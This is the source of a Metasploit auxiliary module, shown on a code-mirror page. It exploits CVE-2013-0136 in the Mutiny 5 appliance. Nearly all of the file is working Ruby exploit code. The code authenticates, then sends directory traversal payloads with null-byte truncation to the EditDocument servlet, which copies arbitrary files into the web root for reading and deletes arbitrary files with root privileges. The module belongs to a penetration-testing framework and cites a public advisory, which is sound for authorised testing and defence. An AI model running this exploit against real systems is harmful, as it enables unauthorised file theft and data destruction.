Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Mutiny 5 Arbitrary File Read and Delete',
14
'Description' => %q{
15
This module exploits the EditDocument servlet from the frontend on the Mutiny 5
16
appliance. The EditDocument servlet provides file operations, such as copy and
17
delete, which are affected by a directory traversal vulnerability. Because of this,
18
any authenticated frontend user can read and delete arbitrary files from the system
19
with root privileges. In order to exploit the vulnerability a valid user (any role)
20
in the web frontend is required. The module has been tested successfully on the
21
Mutiny 5.0-1.07 appliance.
22
},
23
'Author' => [
24
'juan vazquez' # Metasploit module and initial discovery
25
],
26
'License' => MSF_LICENSE,
27
'References' => [
28
[ 'CVE', '2013-0136' ],
29
[ 'US-CERT-VU', '701572' ],
30
[ 'URL', 'http://web.archive.org/web/20250114041839/https://www.rapid7.com/blog/post/2013/05/15/new-1day-exploits-mutiny-vulnerabilities/' ]
31
],
32
'Actions' => [
33
['Read', { 'Description' => 'Read arbitrary file' }],
34
['Delete', { 'Description' => 'Delete arbitrary file' }]
35
],
36
'DefaultAction' => 'Read',
37
'DisclosureDate' => '2013-05-15',
38
'Notes' => {
39
'Stability' => [OS_RESOURCE_LOSS],
40
'SideEffects' => [IOC_IN_LOGS],
41
'Reliability' => []
42
}
43
)
44
)
45
46
register_options(
47
[
48
Opt::RPORT(80),
49
OptString.new('TARGETURI', [true, 'Path to Mutiny Web Service', '/']),
50
OptString.new('USERNAME', [ true, 'The user to authenticate as', '[email protected]' ]),
51
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]),
52
OptString.new('PATH', [ true, 'The file to read or delete' ]),
53
]
54
)
55
end
56
57
def run
58
print_status('Trying to login')
59
if login
60
print_good('Login Successful')
61
else
62
print_error('Login failed, review USERNAME and PASSWORD options')
63
return
64
end
65
66
case action.name
67
when 'Read'
68
read_file(datastore['PATH'])
69
when 'Delete'
70
delete_file(datastore['PATH'])
71
end
72
end
73
74
def read_file(file)
75
print_status('Copying file to Web location...')
76
77
dst_path = '/usr/jakarta/tomcat/webapps/ROOT/m/'
78
res = send_request_cgi(
79
{
80
'uri' => normalize_uri(target_uri.path, 'interface', 'EditDocument'),
81
'method' => 'POST',
82
'cookie' => "JSESSIONID=#{@session}",
83
'encode_params' => false,
84
'vars_post' => {
85
'operation' => 'COPY',
86
'paths[]' => "../../../../#{file}%00.txt",
87
'newPath' => "../../../..#{dst_path}"
88
}
89
}
90
)
91
92
if res && (res.code == 200) && res.body =~ /\{"success":true\}/
93
print_good("File #{file} copied to #{dst_path} successfully")
94
else
95
print_error("Failed to copy #{file} to #{dst_path}")
96
end
97
98
print_status('Retrieving file contents...')
99
100
res = send_request_cgi(
101
{
102
'uri' => normalize_uri(target_uri.path, 'm', ::File.basename(file)),
103
'method' => 'GET'
104
}
105
)
106
107
if res && (res.code == 200)
108
store_path = store_loot('mutiny.frontend.data', 'application/octet-stream', rhost, res.body, file)
109
print_good("File successfully retrieved and saved on #{store_path}")
110
else
111
print_error('Failed to retrieve file')
112
end
113
114
# Cleanup
115
delete_file("#{dst_path}#{::File.basename(file)}")
116
end
117
118
def delete_file(file)
119
print_status("Deleting file #{file}")
120
121
res = send_request_cgi(
122
{
123
'uri' => normalize_uri(target_uri.path, 'interface', 'EditDocument'),
124
'method' => 'POST',
125
'cookie' => "JSESSIONID=#{@session}",
126
'vars_post' => {
127
'operation' => 'DELETE',
128
'paths[]' => "../../../../#{file}"
129
}
130
}
131
)
132
133
if res && (res.code == 200) && res.body =~ /\{"success":true\}/
134
print_good("File #{file} deleted")
135
else
136
print_error("Error deleting file #{file}")
137
end
138
end
139
140
def login
141
res = send_request_cgi(
142
{
143
'uri' => normalize_uri(target_uri.path, 'interface', 'index.do'),
144
'method' => 'GET'
145
}
146
)
147
148
if res && (res.code == 200) && res.get_cookies =~ /JSESSIONID=(.*);/
149
first_session = ::Regexp.last_match(1)
150
end
151
152
res = send_request_cgi(
153
{
154
'uri' => normalize_uri(target_uri.path, 'interface', 'j_security_check'),
155
'method' => 'POST',
156
'cookie' => "JSESSIONID=#{first_session}",
157
'vars_post' => {
158
'j_username' => datastore['USERNAME'],
159
'j_password' => datastore['PASSWORD']
160
}
161
}
162
)
163
164
if !res || (res.code != 302) || res.headers['Location'] !~ %r{interface/index.do}
165
return false
166
end
167
168
res = send_request_cgi(
169
{
170
'uri' => normalize_uri(target_uri.path, 'interface', 'index.do'),
171
'method' => 'GET',
172
'cookie' => "JSESSIONID=#{first_session}"
173
}
174
)
175
176
if res && (res.code == 200) && res.get_cookies =~ /JSESSIONID=(.*);/
177
@session = ::Regexp.last_match(1)
178
return true
179
end
180
181
return false
182
end
183
end
184
185